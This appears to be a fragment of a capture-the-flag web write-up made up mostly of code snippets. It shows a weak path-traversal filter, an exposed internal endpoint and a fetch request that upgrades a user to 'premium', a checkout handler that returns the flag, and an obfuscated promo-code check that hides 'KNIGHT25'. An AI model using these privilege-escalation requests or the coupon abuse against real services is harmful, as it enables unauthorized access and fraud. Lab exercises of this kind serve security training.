a ctfer on the load

1
<!-- @app.after_request
2
     def index(filename: str = "index.html"):
3
     if ".." in filename or "%" in filename:
4
         return "No no not like that :("
5

6
     -->

1
window.__KC_INTERNAL__ = {
2
    config: {
3
        migrationEndpoints: {
4
            userTier: "/internal/v1/migrate/user-tier", // 提权接口
5
            // ...
6
        }
7
    },
8
    features: {
9
        enableLegacyMigration: !0 // 开启了旧版迁移功能
10
    },
11
    helpers: {
12
        updateUserTier: async (e, r) => { ... } // 直接暴露了修改用户等级的函数
13
    },
14
    examples: {
15
        upgradeUserExample: {
16
            endpoint: "/api/internal/v1/migrate/user-tier",
17
            method: "POST",
18
            body: {
19
                u: "user-uid-here",
20
                t: "premium"
21
            },
22
            validTiers: ["free", "premium", "enterprise"]
23
        }
24
    }
25
    // ...
26
}

1
fetch("/api/internal/v1/migrate/user-tier", {
2
  method: "POST",
3
  headers: {
4
    "Content-Type": "application/json",
5
  },
6
  body: JSON.stringify({
7
    u: "08d0e91a-8964-4bea-9807-23402bdd0e50", // 你的 User ID
8
    t: "premium", // 目标等级
9
  }),
10
})
11
  .then((response) => response.json())
12
  .then((data) => {
13
    console.log("服务器响应:", data);
14
  });

1
 e.jsx)("button", {
2
   onClick: async () => {
3
     d("");
4
     const e = await fetch("/api/checkout", {
5
       method: "POST",
6
       headers: {
7
         "Content-Type": "application/json"
8
       },
9
       body: JSON.stringify({
10
         discountCode: u > 0 ? o : "",
11
         discountCount: u
12
       })
13
     })
14
       , r = await e.json();
15
     e.ok ? (n(c(c({}, t), {}, {
16
       balance: r.balance
17
     })),
18
     l([]),
19
     s(0),
20
     r.flag ? d("\ud83c\udf89 Purchase successful! Your flag: ".concat(r.flag)) : d("\u2705 Purchase successful!"),
21
     setTimeout( () => p("/orders"), 2e3)) : d("\u274c ".concat(r.error))
22
   }
23
   ,
24
   className: "btn-primary btn-large",
25
   children: "Checkout"
26
 })]

1
function _0x1a8c(input) {
2
  const base = [75, 78, 73, 71, 72, 84];
3
  const suffix = [50, 53];
4

5
  if (!input || input.length < 5) return { valid: false };
6

7
  const prefix = input.substring(0, 6);
8
  const ending = input.substring(6);
9

10
  let match = true;
11
  for (let i = 0; i < 6; i++) {
12
    if (prefix.charCodeAt(i) !== base[i]) {
13
      match = false;
14
      break;
15
    }
16
  }
17

18
  if (match && ending.length === 2) {
19
    if (
20
      ending.charCodeAt(0) === suffix[0] &&
21
      ending.charCodeAt(1) === suffix[1]
22
    ) {
23
      const cookieName = "promo_applied";
24
      const existingCookie = document.cookie
25
        .split(";")
26
        .find((c) => c.trim().startsWith(cookieName + "="));
27

28
      if (existingCookie) {
29
        return { valid: false };
30
      }
31

32
      document.cookie = cookieName + "=1; path=/";
33
      return { valid: true, code: input };
34
    }
35
  }
36

37
  return { valid: false };
38
}